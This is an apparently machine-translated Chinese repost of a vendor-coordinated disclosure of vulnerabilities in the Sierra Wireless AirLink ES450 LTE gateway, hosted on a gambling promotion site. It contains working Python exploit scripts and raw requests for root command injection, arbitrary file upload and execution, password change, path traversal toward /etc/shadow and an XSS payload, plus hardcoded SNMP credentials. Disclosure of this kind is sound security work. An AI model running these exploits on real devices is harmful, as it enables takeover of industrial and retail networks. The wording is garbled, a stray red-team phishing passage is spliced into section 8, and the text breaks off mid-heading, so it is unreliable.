着名IoT公司Sierra 4G网关产物Wireless AirLink ES450多个破绽详细分析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

着名IoT公司Sierra 4G网关产物Wireless AirLink ES450多个破绽详细分析

申博_新闻事件 申博 206次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

一、择要

近期,我们发明Sierra Wireless AirLink ES450中存在一些可被应用的破绽,这是一个特地为分布式企业设想的LTE网关,比方零售销售点或产业控制体系。因为这些破绽的存在,为歹意行动者供应了很多进击序言,而且可以或许许可他们长途实行受益盘算机上的代码、变动治理员暗码、公然用户凭据等。这些破绽中的大多数,都存在于ES450附带的Wbe效劳器ACEManager中。

ACEManager卖力装备上的大多数交互,包罗装备重新设置装备摆设、用户身份考证和证书治理。

依据我们的谐和表露政策,Cisco Talos与Sierra Wireless展开密切合作,以确保这些题目得到解决,而且为受影响的客户供应更新。

二、ACEManager iplogging.cgi敕令注入破绽(CVE-2018-4061)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager iplogging.cgi功用中存在可以或许被应用的敕令注入破绽。进击者可以或许经心组织一个HTTP要求,完成恣意敕令注入,从而致使恣意敕令实行。进击者可以或许发送经由身份考证的HTTP要求来触发此破绽。

2.1 CVSSv3评分

9.9 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

2.2 CWE

CWE-78:OS敕令中运用的特别元素不适当的中和(OS敕令注入)

2.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

若是在ACEManager中向/admin/tools/iplogging.cgi发出要求,则不会准确转义或删除-z标记。该标记卖力供应要供应给tcpdump的postrotate敕令,该敕令许可以root身份实行敕令注入。该标记须要-G标记来准确设置要实行的敕令的扭转时候帧。

下面的POST要求将会触发此破绽。

 POST /admin/tools/iplogging.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/tools/iplogging.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 63
 Cookie: token=1e9c07e135a15e40b3290c320245ca9a
 Connection: close
 
 tcpdumpParams=tcpdump -z reboot -G 2 -i eth0&stateRequest=start

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

2.4 破绽应用观点证实

#!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import socket
 import time
 import requests
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
 <connect>
 <login>user</login>
 <password><![CDATA[{}]]></password>
 </connect>
 </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
       try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [cmd to run]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      cmd = sys.argv[4]
 
      print("Injecting command : {}".format(cmd))
 
      cookies = auth(ip, port, password)
 
      files = {'save-as-filename': (None, "iplogging_params.tcp"), 'file-location': (None, "/tmp/iplogging_params.tcp"), 'upload-file': ('exploit.xml', 'none')}
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/iplogging_upload.cgi", cookies=cookies, files=files)
 
      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=getCmds")
 
      data = "tcpdumpParams=tcpdump -z {} -G 1 -i eth0&stateRequest=start".format(cmd)
      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data=data)
 
      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=queryStatus")
 
 if __name__ == "__main__":
     main()

三、SNMPD硬编码凭据破绽(CVE-2018-4062)

Sierra Wireless AirLink ES450 FW 4.9.3的SNMPD功用中存在硬编码凭据破绽。在WebUI外部激活SNMPD,可以或许会致使激活硬编码凭据,从而致使特权用户袒露。进击者无需对任何设置装备摆设举行变动,便可激活SNMPD,并触发这一破绽。

3.1 CVSSv3评分

7.7 – CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H

3.2 CWE

CWE-798:运用硬编码凭据

3.3 破绽概况

硬编码的凭据sierra:12345678:abcdefgh被生存在SNMPv3的snmpd.conf文件中。若是从Web用户界面外部实行snmpd,则该硬编码用户处于运动状况。Sierra用户具有装备的读写权限。

snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858

该敕令实行装备MIB的特权snmpwalk。

生存这些硬编码凭据的设置装备摆设文件以下所示。

/usr/local/share/snmp/snmpd.conf:

 ###########################################################################
 #
 # snmpd.conf
 #
 #   - created by the snmpconf configuration program
 #
 ###########################################################################
 # SECTION: Access Control Setup
 #
 #   This section defines who is    allowed to talk to your running
 #   snmp agent.
 
 # rwuser: a SNMPv3 read-write      user
 #   arguments:  user [noauth| auth|priv] [restriction_oid]
 
 # rwuser  sierra priv
 rocommunity public
 
 ... truncated for brevity
 
 sysservices 12
 
 rwuser sierra

/var/net-snmp/snmpd.conf:

createUser sierra MD5 "12345678" DES "abcdefgh"

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

3.4 破绽应用观点证实

启动/usr/local/sbin/snmpd –f,这可以或许借助其他破绽应用顺序或Root Shell来完成。

实行下述敕令,可以或许用于装备的完全snmpwalk:

snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858

须要注重的是,若是经由历程WebUI激活SNMP,那末上述破绽将不起作用,详细取决于我们激活的版本,在设置装备摆设时期会掩盖个中的一个文件。

四、ACEManager upload.cgi长途代码实行破绽(CVE-2018-4063)

Sierra Wireless AirLink ES450 FW 4.9.3的upload.cgi功用中存在可以或许被应用的长途代码实行破绽。进击者可以或许经心组织一个HTTP要求,并将其用于上传文件,从而致使可实行代码被上传,而且可以或许路由到Web效劳器。进击者可以或许发出经由身份考证的HTTP要求以触发此破绽。

4.1 CVSSv3评分

9.9 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

4.2 CWE

CWE-434:未对上传风险范例的文件举行限定

4.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

在AirLink 450模板中的文件上传功用存在此破绽。在上传模板文件时,我们可以或许指定要上传的文件的称号。个中,没有任何限定可以或许珍爱以后存储在装备上的文件用于一般操纵。若是上传的文件与目次中已存在的文件称号雷同,则我们可以或许继续该文件的权限。在这类情况下,模板文件生存到目次中(已存在)的文件包罗:

fw_expected_rm.cgi
fw_status.cgi
fw_upload_init.cgi
fw_upload_init.sh
rm_switching_action.cgi

这些文件都具有装备的可实行权限。经由历程上传一个小包装器(Wrapper),我们可以或许将恣意代码上传到装备,只需经由历程浏览器导航到网页便可完成。因为ACEManager以root身份运转,以是运转的任何可实行文件也将具有root的身份。下面的要求展现了基础文件上传的历程,并展现了运转的权限。

POST /cgi-bin/upload.cgi HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
Cookie: token=2389c2dfe87bf6e33b0f9009a1ae9889
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------1355696654
Content-Length: 501
 
----------1355696654
Content-Disposition: form-data; name="save-as-filename"
 
SWITemplate.xml
----------1355696654
Content-Disposition: form-data; name="file-location"
 
../admin/SWITemplate.xml
----------1355696654
Content-Disposition: form-data; name="upload-file"; filename="fw_upload_init.cgi"
Content-Type: text/plain
 
#!/bin/sh
. /tmp/swialeosdefs
. /usr/local/sbin/webif_lib
eval "`/sbin/proccgi $*`"
print_http_header
echo "Remote Code Execution as `whoami` : `id`"
exit 0;
 
----------1355696654—

只管上述代码仅运转了简朴的Shell剧本,但可以或许完成二进制文件的上传。

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

4.4 破绽应用观点证实

#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import requests
 
# This does not have to be a shell script, you can upload a binary and run it in a similar fashion
uploaded_file = """#!/bin/sh
. /tmp/swialeosdefs
. /usr/local/sbin/webif_lib
eval "`/sbin/proccgi $*`"
print_http_header
echo "Remote Code Execution as `whoami` : `id`"
exit 0;"""
 
def auth(ip, port, password):
    data = """<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password><![CDATA[{}]]></password>
</connect>
</request>""".format(password)
 
    response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
    try:
        cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
        return cookies
    except:
        print("Error while authenticating")
        sys.exit(0)
 
def main():
    if len(sys.argv) < 4 or len(sys.argv) > 4:
        print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
        sys.exit(0)
 
    ip = sys.argv[1]
    port = sys.argv[2]
    password = sys.argv[3]
 
    cookies = auth(ip, port, password)
 
    files = {'save-as-filename': (None, "SWITemplate.xml"), 'file-location': (None, "../admin/SWITemplate.xml"), 'upload-file': ('fw_upload_init.cgi', uploaded_file, 'text/xml')}
    response = requests.post("http://"+ip+":"+port+"/cgi-bin/upload.cgi", cookies=cookies, files=files)
 
    response = requests.get("http://"+ip+":"+port+"/admin/fw_upload_init.cgi", cookies=cookies)
 
    print(response.text)
 
if __name__ == "__main__":
    main()

五、ACEManager upload.cgi未经考证的暗码变动破绽(CVE-2018-4064)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager upload.cgi功用中存在可以或许被应用的未经考证暗码更该破绽。进击者可以或许经心组织一个HTTP要求,致使未经考证的装备设置装备摆设变动,从而致使装备上的“user”暗码在未经考证的情况下被进击者变动。进击者可以或许发送经由身份考证的HTTP要求以触发此破绽。

5.1 CVSSv3评分

8.5 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

5.2 CWE

CWE-620:未经考证的暗码修正

5.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

应用WebUI中的模板上传功用,经由身份考证的用户无需考证,便可变动MSCIID设置。只管变动用户暗码的通例体式格局须要旧的用户暗码,但若是上传下面的XML模板,可以或许许可经由身份考证的用户无需考证此前的暗码便可完成暗码变动。

模板数据:

<?xml version="1.0" ?>
 <template>
    <item msciid="5003" title="User Password" value="password01" />
 </template>

这一历程,可以或许经由历程运用WebUI模板上传,或运用下面的HTTP要求来完成。

 POST /cgi-bin/upload.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
 Connection: close
 Upgrade-Insecure-Requests: 1
 Content-Type: multipart/form-data; boundary=---------------------------98690229210303203401454887637
 Content-Length: 624
 
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="save-as-filename"
 
 SWITemplate.xml
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="file-location"
 
 ../admin/SWITemplate.xml
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="upload-file"; filename="SWIApplyTemplate.xml"
 Content-Type: text/xml
 
 <?xml version="1.0" ?>
 <template>
    <item msciid="5003" title="User Password" value="password01" />
 </template>
 
 -----------------------------98690229210303203401454887637—

然后,要求内容以下:

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
 Connection: close
 
 path=/www/auth/user/SWIApplyTemplate.xml

其他MSCIID值也可以或许在未经考证的情况下举行变动,若是在上述模板中省略MSCIID,则意味着该值将与以后状况连结稳定。

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

5.4 破绽应用观点证实

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 from requests_toolbelt.utils import dump
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      new_pass = sys.argv[4]
 
      print("New Password : {}\n".format(new_pass))
 
      cookies = auth(ip, port, password)
 
      xml = """<?xml version="1.0" ?>
      <template>
           <item msciid="5003" title="User Password" value="{}" />
      </template>""".format(new_pass)
 
      files = {'save-as-filename': (None, "SWITemplate.xml"), 'file-location': (None, "../admin/SWITemplate.xml"), 'upload-file': ('SWIApplyTemplate.xml', xml, 'text/xml')}
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/upload.cgi", cookies=cookies, files=files)
 
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data="path=/www/auth/user/SWIApplyTemplate.xml", headers={"Content-Type": "application/x-www-form-urlencoded"})
 
      print(response.text)
 
 if __name__ == "__main__":
      main()

六、ACEManager ping_result.cgi跨站剧本破绽(CVE-2018-4065)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager ping_result.cgi功用中存在可以或许别应用的跨站剧本破绽。进击者经心组织的HTTP ping要求可以或许致使反射的JavaScript在受益者的浏览器上实行,从而致使运转歹意代码。进击者可以或许引诱受益者单击重定向到反射的跨站剧本破绽的链接或嵌入式URL来完成破绽应用。

6.1 CVSSv3评分

6.1 – CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.2 CWE

CWE-79:网页天生时期的输入内容存在不适当的中和(跨站剧本破绽)

6.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

ping_result.cgi二进制文件在将输入反射回客户端之前,没有准确过滤输入内容。这类不准确的过滤许可将JavaScript注入到客户端的相应当中。这可以或许用于在客户端浏览器上运转代码,比方代表用户发出要求,或表露凭据令牌(Token)。

POST要求:

 POST /admin/tools/ping_result.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/tools/ping.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 61
 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
 Connection: close
 
 host=192.168.13.31<script>alert('xss')</script>

GET要求:

 GET /admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
 Connection: close
 Upgrade-Insecure-Requests: 1

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

6.4 破绽应用观点证实

在ACEManager举行身份考证后,导航到http://192.168.13.31:9191/admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E ,便可展现出跨站剧本破绽激发的alert提示框。

七、ACEManager跨站要求捏造破绽(CVE-2018-4066)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager功用中存在可以或许应用的跨站要求捏造破绽。进击者经心组织的HTTP要求可以或许致使经由身份考证的用户在不知不觉中实行特权的要求,从而致使经由身份考证的用户提议一些不符合以后权限的要求。触发该破绽后,可以或许许可进击者经由历程经由身份考证的用户来猎取身份考证后的页面。

7.1 CVSSv3评分

6.4 – CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H

7.2 CWE

CWE-352:跨站要求捏造(CSRF)破绽

7.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

Web效劳器的ACEManager缺乏提防跨站要求捏造的标头。以下所示,这里没有供应标头来搜检跨站要求捏造。这些存在破绽的标头可以或许让效劳器以一连的体式格局来搜检要求是不是来自于类似的会话,确保它们不是来自应用预先认证会话的不相干浏览器链接。

POST /cgi-bin/Embedded_Ace_Get_Task.cgi HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
Content-Type: text/xml
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 89
Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
Connection: close

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

八、ACEManager template_load.cgi信息走漏破绽(CVE-2018-4067)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager template_load.cgi功用中存在可以或许应用的信息走漏破绽。进击者经心组织的HTTP要求可以或许致使信息走漏,从而致使内部途径和文件的走漏。进击者可以或许在经由身份考证后发出HTTP要求,来触发这一破绽。

红蓝对抗基础设施架构设计Wiki(下)

有效载荷和Web重定向 在提供有效载荷和Web资源时,我们希望最小化事件响应者查看文件的能力,并增加成功执行有效载荷的机会,无论是建立C2还是收集情报。 Jeff Dimmock写的关于 Apache Mod_Rewrite的用法和示例: · 使用 Apache mod_rewrite 模块加强你的网络钓鱼方法 · 使用Apache mod_rewrite模块设置无效的 URI 重定向 · 使用 Apache mod_rewrite模块创建基于操作系统的重定向 · 使用 Apache mod_rewrite 模块对抗安全事件响应人员 · 使用 Apache RewriteMap 模块设置过期的钓鱼链接 · Apache mod_rewrite 模块在渗透测试中的几

8.1 CVSSv3评分

5.0 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

8.2 CWE

CWE-200:信息走漏

8.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

/cgi-bin/template_load.cgi二进制文件卖力加载先前上传的模板文件,并用于设置装备摆设装备。若是我们绕过这一历程的上传阶段,并直接应用template_load.cgi,我们可以或许在path参数中经由历程目次遍向来袒露装备上的内部途径。下面的要求展现了一个不存在的文件,和一个确切存在的文件。依据毛病音讯,我们可以或许肯定文件是不是存在于所供应的途径当中。

文件不存在:

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=e9fa78d203adc768483d1409ac904133
 Connection: close
 
 path=/www/auth/user/../../../etc/shadows
 
 ---------------------------------------------------------------
 HTTP/1.1 200 OK
 Status: 501 Internal Error
 
 Cannot open /www/auth/user/../../../etc/shadows for reading

文件存在:

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=e9fa78d203adc768483d1409ac904133
 Connection: close
 
 path=/www/auth/user/../../../etc/shadow
 
 ---------------------------------------------------------------
 HTTP/1.1 200 OK
 Status: 400 Bad Request
 
 Template document structure is incorrect or unrecognizable

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

8.4 破绽应用观点证实

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      path = sys.argv[4]
 
      print("Path : {}\n".format(path))
 
      cookies = auth(ip, port, password)
 
      data = "path=/www/auth/user/../../.." + path
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"})
 
      if "501" in response.headers["Status"]:
           print("{} : Does not exist".format(path))
      elif "400" in response.headers["Status"]:
           print("{} : Does exist".format(path))
      else:
           print("Unexpected status received!")
 
 if __name__ == "__main__":
      main()

九、ACEManager信息走漏破绽(CVE-2018-4068)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager功用中存在可以或许被应用的信息走漏破绽。HTTP要求可以或许致使公然装备的默许设置装备摆设。进击者可以或许发送未经身份考证的HTTP要求来触发此破绽。

9.1 CVSSv3评分

5.3 – CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

9.2 CWE

CWE-200:信息走漏

9.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

装备的默许设置装备摆设存储在一个可以或许在未经身份考证的情况下要求的地位。设置装备摆设中包罗规复出厂设置的一切详细信息,包罗但不限于纯文本情势的默许暗码。

该文件在/defaults.xml中供应,而在装备上则位于/www/pub/defaults.xml的地位。下面的要求将实验下载默许设置装备摆设:

 GET /defaults.xml HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 If-Modified-Since: Thu, 19 Apr 2018 03:41:36 GMT

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

9.4 破绽应用观点证实

#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import socket
import time
import requests
 
 
def main():
    if len(sys.argv) < 3 or len(sys.argv) > 3:
        print("Usage : {} [ip address] [port] ".format(sys.argv[0]))
        sys.exit(0)
 
    ip = sys.argv[1]
    port = sys.argv[2]
 
    response = requests.get("http://"+ip+":"+port+"/defaults.xml")
 
    print(response.text)
 
 
if __name__ == "__main__":
    main()

十、ACEManager信息走漏破绽(CVE-2018-4069)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager身份考证功用中存在信息走漏破绽。

ACEManager身份考证功用会以明文XML花样传输到Web效劳器。进击者可以或许侦听该装备上游的收集流量,从而完成该破绽的应用。

10.1 CVSSv3评分

5.9 – CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

10.2 CWE

CWE-311:缺乏关于敏感数据的加密

10.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

ACEManager的身份考证历程,运用了明文凭据举行客户端与Web效劳器之间的通讯。进击者可以或许从收集中嗅探该明文认证信息,并将其用于登录装备。

认证要求:

POST /xml/Connect.xml HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 129
Cookie: token=1774ad8f3ee180cdd62e29611e1efc9c
Connection: close
 
 <request xmlns="urn:acemanager">
 <connect>
 <login>user</login>
 <password><![CDATA[password012]]></password>
 </connect>
 </request>

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

10.4 破绽应用观点证实

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 from requests_toolbelt.utils import dump
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      data = dump.dump_all(response) print(data.decode('utf-8'))
 
 def main():
      if len(sys.argv) < 4 or len(sys.argv) > 4:
           print("Usage : {} [ip address] [port] [password of user]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
 
      auth(ip, port, password)
 
 
 if __name__ == "__main__":
      main()

十一、ACEManager Embedded_Ace_Get_Task.cgi信息走漏破绽(CVE-2018-4070 | 4071)

